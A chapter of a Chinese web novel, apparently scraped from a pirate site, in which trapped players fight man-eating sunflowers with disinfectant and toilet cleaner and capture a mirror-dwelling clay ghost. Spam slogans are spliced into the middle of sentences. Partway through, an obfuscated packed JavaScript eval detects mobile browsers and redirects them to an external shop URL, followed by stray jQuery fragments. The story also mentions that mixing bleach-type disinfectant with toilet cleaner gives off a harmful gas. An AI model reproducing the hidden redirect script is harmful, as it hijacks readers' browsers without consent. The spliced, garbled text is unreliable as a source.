第115章
作品:《乖宝》 门外的声音磕磕巴巴说:“丹丹姐姐你不问那些导数、微积分了吗?我都会啊。”
“可我不会啊。”贾丹丹理所当然地说。
“……”
“所以你是答不出来咯?那你就不是明澄明澄她肯定知道的。”
门外传来了急促的呼吸接着是崩溃的声音:“你们神经病啊!”
梁青山都有些可怜这个怪物了。
谁没经历过按照老师划的范围努力熬夜学了一整晚结果第二天压根没考那些的崩溃呢?
门外的怪物脚步重重地跑了。
四人听了一阵确认对方是真的离去都松了口气。
他们都只是普通人在过去看过直播
【这一回随机到的普通玩家胆子都不小有点智慧也没有心术不正拖后腿的太好了。所以不是所有人都要依赖特殊小队的那些骂他们不好好保护普通人的都睁大眼睛看看。】
想到自己再一次逼退了怪物他们都有些兴奋。
可是当看到那些还在扩张的向日葵兴奋感又化为了理智。
普通向日葵还不至于让人恐惧可是墙头上的这些向日葵的花盘里那种人脸的即视感越来越强了。
他们甚至感觉这一张张脸上的眼睛好像也睁得越来越开了即使不去看背后也总有种被窥视感。
“怎么办?”
静了一会儿梁青山又捡起了墙根处的砖头壮着胆子朝离他们最近的那朵花砸了过去。
花盘被砸得歪了一下在茎杆上摇晃了一阵但还是稳稳停了下来没有受到任何伤害。
它看上去很结实经得起砸。
而且花头最后停下来的方向分明就是梁青山站着的位置。
他总有种被盯上了的感觉不安地立刻换了个位置站着。
“咱们有刀吗?”贾丹丹恶狠狠说。
乔梅想了想“厨房里好像有我去瞧瞧。”
过了一会儿她从厨房出来了。
“我只找到一把剪刀还有一把菜刀。”
依旧由梁青山抄起菜刀鼓起勇气上前刚要砍下去那花盘竟仿佛有了自我意识猛地转过来酷似眼睛的管状花死死盯着他。
梁青山被吓了一跳手中的菜刀都差点脱手“我艹!”
花盘的下方裂开了一道口子犹如一张嘴要将他吞噬。梁青山下意识举刀挥去却觉得仿佛砍在了什么极为坚硬的物体上震得他虎口发麻。
他又骂了一声“这花是钢铁炼成
听说看这本书的人都是很幸运的,分享后你的运气会更棒
的?”刚说完前方的数朵向日葵都猛地长了一大截裂口一张直冲他而来。
梁青山在惊惧中被一只手拉了一把堪堪与那些花口擦脸而过。回头看去是乔梅拉了他一把。
他被吓出了一脑门的汗
“这哪是向日葵啊这是食人花吧?”
那些扑了个空的向日葵就这么坠在半空中倒挂着逐渐成型清晰的五官也随之倒了过来阴阴地看着他们。
茎身还在伸长他们不得不退了又退。
梁青山再看手中的菜刀刀身上竟然出现了细小的裂口。
他将刀丢掉“这刀太薄太小对付食人花没用。”刀都没用就更别说剪刀了。
“恐怕还得试试威力更大的刀。”
乔梅懊恼道:“外头有很多建筑垃圾都是工人丢下的我刚才还看到地上有把锯子估计是蒋明野他们做跷跷板的时候用到的可惜我们刚才没拿进来。”
说话间向日葵又向前一米仿佛吃了什么营养液似的疯长。
硕大花盘插在长长的扭曲茎身上再配上阴森的表情宛如一个个伸长了脖子的巨大脑袋向他们围来。
裂口也越来越大他们几乎避无可避了。
“要出去吗?”四人一时犹豫起来。
乔梅突然抓住了他们的手:“嘘。”她指了指门。
四人望过去看到门缝底下又出现了两只小脚正在走来走去。
刚才被他们气走的怪物竟又悄悄回来了静静埋伏在门外大概是正等着他们打开门然后自投罗网。
而墙头上被梁青山砸砍过的那朵向日葵距离他们已只有咫尺之遥。且它似乎知道梁青山在哪里似的花盘总能精准地伸向他所在的方位不论他走到哪里。
梁青山的后背都惊出了一身冷汗。
他们可以站立的地方不断被向日葵生长入侵着危急时刻贾丹丹想到什么突然跑开了。
她进了厨房在里头找了找将能找到的东西都搬了出来随后又去卫生间里抱出了一些瓶瓶罐罐。
她抱着东西丢到了仅剩的小片空地上“我就记得刚才在厨房里看到了油污净来不及细看全拿出来了。”
乔梅仔细瞧了瞧挑出一瓶:“是有一瓶。”
贾丹丹抬头说:“我以前看我妈用这种清洁剂的时候都要戴手套否则对手的伤害会很大而且即使戴着手套手也会不舒服好像有些腐蚀性。”
任枫点头:“有的油污净是强碱性对皮肤有刺激性。”
“不止呢你们看这儿还有瓶消毒液!这个更刺激。”梁青山一喜说完就举起那瓶消毒液挤着瓶身朝着
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
向日葵喷了过去。
“滋啦”一声过后,那一溜消毒液在向日葵的花盘上留下了一道犹如疤痕的印记,还冒着细烟。
同时,那朵葵花也剧烈颤抖着,仿佛在忍耐极致的疼痛。
“真的有用!它怕了,不再长了!”梁青山喊道。
几人心中燃起希望,纷纷拿起消毒液朝着包围他们的花盘喷去。
一瞬间透明液体犹如雨下,向日葵的花盘被浇得抖若筛糠,不断有细小的、仿若尖叫吸气的声音响起,像极了**,听得人毛骨悚然。
那些倒转过来的五官更是缩得小小的,近乎毁容,没了不久前的阴谲。
看消毒剂快要用完了,贾丹丹在地上的瓶瓶罐罐中挑拣了一番,又拿起了一瓶洁厕灵,“洁厕灵应该也有用吧?”
任枫提醒:“这种消毒液不可以跟洁厕灵一起使用,会发生反应产生**。”
贾丹丹抬起黑亮的眼:“也就是说对这些向日葵来说,效果会更好?”
四人用衣物蒙住口鼻,贾丹丹一手洁厕灵,梁青山一手消毒液,同时朝花盘甩去,甩完就退得远远的。
四双眼睛看过去,效果立竿见影——葵花的花盘被侵蚀得逐渐发黄,显然是受了重创。
很快几人就惊喜地发现,在他们的攻势下,这些向日葵不仅停止了生长,还有朝后退的趋势。
此时,霸占了大半个小院的根茎已经退到了墙边。
贾丹丹与梁青山追在前面,两人越战越勇,已经完全忘却了恐惧,满脑子只剩下冲锋,朝着向日葵狂喷一阵。
任枫和乔梅也加入了乱拳打死老师傅的行列,一人举着一只瓶子,彻底放开,直接拧开盖子,朝着葵花顶倾倒下去。
终于,不久前还嚣张扩张着的向日葵们成功被他们逼到了墙外,并在墙根缩成了一团。
最后还剩下点洁厕灵,梁青山直接爬上墙头,举着瓶子倒在了下方的土里。
肉眼可见,向日葵原本暗绿的根部开始发黄,枯焦,整株花都在逐渐枯萎。
他跳下墙,欣喜道:“好了。”
四人的脸上露出了劫后余生的喜悦。
乔梅又看向门口,那双徘徊的小脚不知何时已经消失了。
“这么看来,进副本也没有那么可怕嘛。”贾丹丹笑着说。
任枫谨慎道:“还是不要大意,咱们这回是恰好手头有工具,后面还是得小心点。”
“嗯,我知道的。”贾丹丹收起笑容。
“也不知道明澄那边怎么样了,他们会不会也遇到了同样的情况?”乔梅关切道。
贾丹丹沉思:“说起来,刚才那怪物突然知道了任枫出的那道题的答案,还会了好多其他的知识……它会
你的朋友正在书荒,快去帮帮他吧
不会是去见了明澄!”
任枫点头赞同:“没错,我觉得这家伙有很大概率可以在我们这儿和明澄那边自由出入。”
梁青山:“目前看来,这个怪物既然没有办法主动进入我们的院子,它的实力肯定没那么强,对付我们都够呛,更伤害不了明澄他们了。”
“而且如果它真是从明澄那里问到的答案,那就说明,他们现在应该是安全的。”
明澄隔着窗户看向外头的向日葵。
刚才还四平八稳的花,此刻不知为何微微颤抖,花头也蔫了许多。
她离得近了,窗玻璃上映出了一个小小的她。
她眼神微动,发现那道倒影的表情很僵硬——就像晚上在卫生间里洗漱时,镜子里看到的倒影。
她小声问:“是你吗?”
那倒影眨了下眼睛。
明澄若有所思,望向了洗手间的方向,接着走了过去。
蒋明野正要拉住她,看到她是去洗手间,才没有多管。
卫生间里漆黑一片,但明澄走得很顺畅,径直来到了镜子前。
镜子里同步露出一张与她一模一样的脸,一开始还是自然的,几秒后,脸部表情突然僵硬,接着影子完全脱离了她的模板,自由行动。
明澄用气音说:“你怎么又来了?”
镜子里的东西一脸愤懑开口:“我问你,生蚝养殖的要点是什么?”
门外,蒋明野对楚寒使了个眼色,悄悄走出了教室。
不知道老师们晚上是睡在哪里,走廊附近的教室里都没有大人的踪迹。
他一路来到了大厅。
来时看到的废弃公告牌此时并不在那里,大厅空荡荡的。
他遥望了一眼幼儿园门口,又回头看了看,毫无顾忌步入了夜色中。
穿过无人的操场,秋千被风吹得荡起,发出细微声响。
他没有管,一路来到了大门口。
铁门是关着的,但并未上锁。
透过铁门,外面的世界一片漆黑,不是被夜色笼罩的黑,而是像游戏中地图未被加载而呈现的虚无。
他定了定神,直接伸出手,指尖朝黑暗的边际触碰了一下。
下一秒,耳边便传来了一阵疾风响动,他迅速收回了手,周边又重新寂静了下来。
虽面色如常,但是在刚才那一秒,他确实感到了一阵危险,要是他没能及时收手……说不准要损失一根手指了。
【有时候真感觉蒋明野是不是太激进了,这都敢伸手出去?外头一看就有古怪啊,万一出事怎么办?】
楚寒还在另一面墙的窗边观察着白天种下的向日葵,只分了缕神听着走廊的动静。
他将葵花的顶端对照着窗棂,查看它的生长速度。
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
一开始长高的速度很快,但是不知道为什么,从它开始颤抖开始,就停止了生长。
就在这时,他耳边听到了一阵细小的说话声,是明澄的声音。
他皱起了眉,明澄刚才明明是一个人进的卫生间。
他立刻走向了卫生间,门是虚掩着的。透过缝隙,他看到明澄正站在镜子前,低声说着什么,面上完全没有惧怕。
想到她晚上提过的那个好学的鬼,楚寒眉眼一凛。
门里,明澄似乎正在传授一些养殖业的秘诀。
说完生蚝说养鱼,说完养鱼说养猪。
“好了,我都记住了。”镜子里传来应答。
“你为什么要问这些呀?”明澄兴冲冲地问,“是要创业吗?”
“这你就不用管了。”镜子里的存在很傲慢,但说完,又顿了顿。
随后,它极为缜密地试探:“你除了高数,除了养殖业,还有涉足别的行业吗?”
明澄沉默了一下,接着伸出两只手,开始掰手指数数,“我还会汽修挖掘机美容美发美甲……”
“……”
“好了你别再说了!”镜子里,与她一模一样的那张脸骤然变得面目狰狞,然后又泄了气,“你,你怎么会这么厉害,什么都知道!”
此时,楚寒冷着脸推开门,走了过去,终于看清了镜子里那个跟明澄长得一样的东西。
在楚寒走过来的那刻,她转过了脸去看,但镜子里的东西却只是直视前方。
明澄怕他担心,主动坦白:“楚寒叔叔,这个小鬼特别上进,它是来向我请教养殖知识的。”
说完,蒋明野也回来了,听到洗手间里的动静,他走了过来,再将门关上。
一眼就看到了镜子里那张与明澄长得一样的脸,他眯起眼。
镜子里的怪物在楚寒过来的时候就感到了威胁,到蒋明野来到,这种威胁又升级了。
蒋明野一边盯着它,一边低声跟楚寒说:“走不出去,到了外面会被吞掉。”
这一点他们都不怎么意外,既然是被困在这里,就肯定不能轻易离开。
蒋明野抬了抬下巴,指向镜子,“这什么东西?”
明澄热心地重复了一遍它来请教养殖的事。
蒋明野与楚寒都若有所思,“为什么莫名其妙跑来问这个?”
镜子里的怪物心虚:“关你们什么事,我又不是问的你们。”
蒋明野眼眸动了动,走到一旁,有条不紊地拿起一条毛巾,走了回来。
楚寒不管它的心虚,指节敲了敲洗手池,“是有人问你了吗?”
蒋明野在一旁将毛巾叠成一股,握住,一圈圈缠绕上手掌。
怪物更是心虚了,语无伦次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985893|193632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回:“谁问
听说看这本书的人都是很幸运的,分享后你的运气会更棒
我了?根本没有。不说了,反正我又没有伤害你们,我要走了。”
下一瞬,蒋明野手握成拳,一拳干脆利落地砸向镜子,但指尖却并未触墙,而是伸进了一个陌生的空间。
紧接着,镜子里的怪物便震惊地发现,自己被一只大手牢牢地抓住了。
蒋明野提前选好了着力点,又有毛巾缓冲,镜子只碎了角落里的一块,但也难免发出了噼里啪啦的声响。
怪物不敢置信:“你怎么敢!外面这么多小朋友,你就不怕把他们都吵醒了?!”
楚寒对于蒋明野的突然一击并不意外,抬眼:“只要没有吸引他们的香气,在该睡觉的时候,他们就不会醒。”
蒋明野一个用力,从镜子里的世界拽出了什么东西。
在出镜的一瞬间,与明澄等比例的身形犹如被戳破了的气球,无限缩小,最后化为了一个小泥人。
明澄看了看,这泥人与她先前在阳台上看见的那排泥人应该同源。
不过第一眼看过去,这只泥人的长相与明澄真有几分相似。
蒋明野嫌弃地看了眼,手指微动,将其原本圆滚滚的脸型捏得有棱有角,又将五官也给揉乱了。
明澄满脸问号望向蒋明野。
蒋明野泰然自若地摘下毛巾,洗了洗手,“刚才看着碍眼,现在舒服多了。”
明澄看着从憨态可掬变得歪眼斜嘴的小泥人:“……”有明野叔叔在,生活就不会缺少发现丑的眼睛。
小泥人也很气愤,但这种气愤表现在它现在的五官上,只会让它更像个滑稽表演艺人。
它一对小短腿挥动着就要下地逃跑,却被楚寒一根手指摁住。
“放开我!快放开我!”小泥人不断挣扎着,却怎么也挣不开楚寒的一指山。
明澄思索着刚才楚寒问的那一句“是不是有人问你”,灵光的脑子突然想到什么:“是不是丹丹姐姐那边给你出的题?”
泥人瞬间僵硬,支支吾吾,侧面验证明澄说对了。
“原来你可以去他们身边?”
小泥人吭叽几声,不愿回答。
“不说?”楚寒抬眼,淡淡望向水龙头。
他拿起刚才被蒋明野拆下来的毛巾,浸满了水,然后包裹住小泥人。
小泥人立刻感觉到自己身体的边缘开始化开。
这化开的趋势还在向中心蔓延,它惊恐叫道:“快拿开!我说!我都说!”
然而下一秒又被蒋明野摁住:“你再用明澄的声音说话试试?”
小泥人识相地改变了声线,虽然还是童声,但与明澄的不一样了,不过一开口就是痛哭:“你们太可怕,太坏了!你们都欺负泥!”
“问我那些刁钻的问题,谁会啊
听说看这本书的人都是很幸运的,分享后你的运气会更棒
!”
“在那边被他们刁难,嘲笑,到了这边又被你们打,还刑讯逼供,呜呜……”
看着好可怜,明澄将毛巾拿开,把泥人拿起来,虽然不太明白发生了什么,但还是轻轻摸了摸:“别伤心了,你有什么问题不会,我可以教你。”
“少来,最可恶就是你了!没事会那么多东西干什么?有考虑过别泥的感受吗??”
明澄茫然。
楚寒看着干嚎但一滴眼泪都没有的小泥人,冷冷地将毛巾再覆盖上去,小泥人的哭声戛然而止。
蒋明野:“所以你是承认,可以同时在幼儿园和我们的同伴那边来回穿梭了?”
小泥人含糊不清地嗯了一声。
“说清楚点。”
“我,我就是看你们都很喜欢她,所以想要冒充她,去你们的同伴那边享受一下关心。”小泥人声线虚虚的,“又没犯法。”
他们分散前都听到了肖似明澄的笑声,想必也是这个家伙弄出来的了。
“我们被困在这幼儿园里,也是你搞的鬼?”
小泥人继续心虚:“也,也不全是,只有一开始是啦,但是后来你们出不去,就不关我的事了。”
它也知道蒋明野和楚寒不好惹,所以特意将他们三人与剩下四人分开,引到了幼儿园里。
它本来是想着,那四个人看起来好骗一点。结果没想到,真正好骗的是它自己!
“他们一直给我出题,就是不给我开门,不让我进去。”
“那个院子,你自己进不去?”
小泥人声音越来越小了,“那又不是我的地盘,我得得到主人的许可才能进。”
“幼儿园是你的地盘?”
小泥人的声音大了一些,“算是,我平时就待在这儿。”
说完又幸灾乐祸道:“你们最好快点出去,再过一会儿,老师就又要来检查了。你们不能随便下床走动,我可是可以的。”
蒋明野意味不明地笑了一声:“是啊,我们不能随便走动,但你可以。”
小院里,四人都已没有了睡意,只默默等待着天彻底亮起来,也是为了防备墙边的向日葵再次来袭。
“笃笃”,院门又被敲响了。
门缝里,还是那双熟悉的小脚。
“那家伙怎么又来了,真够锲而不舍的。”贾丹丹皱眉说。
四人起身,朝外问:“知道答案了?”
门外的声音趾高气昂:“当然,我现在不仅知道生蚝养殖的要点,我还懂养鱼养猪呢。”
梁青山上前一步,搓了搓手,“知道那些没用,我得问你个新问题……”
“问你个头!快给我开门!我已经被招安啦!”它声音里全是畅快,理直气也壮。
四人狐疑对视,“又是骗人的吧?”
“就知道你们不信,我是带着圣、旨来哒!”
说罢,一张小纸条从门缝里塞了进去。
贾丹丹将纸条捡了起来,纸条上言简意赅:“可以开门——明澄。”
后面的名字确实是明澄的笔迹,她以前给连勤签名的时候他们从直播里都看过。
这只怪物明显只能知道这个副本里明澄说过的话、做过的事,而她在这个副本里没写过字,这鬼怪是无法模仿的。
没想到他们才刚猜测这怪物跟明澄有联系,那边就先一步打通了障碍,四人喜上心头。
院门终于向它敞开了,小泥人近乎喜极而泣,踏了进去。
迎着微光,四人眼前站着个与明澄身高差不多的孩童,几人一时担心起会与真正的明澄搞混。
直到再仔细看去,一张歪瓜裂枣的长相映入眼帘。
贾丹丹目光复杂:“你长成这样,也敢来冒充明澄?”
“……”小泥人缓缓望向她,歪斜着的眼睛无声流泪:“你以为是我主动长这样的吗??”

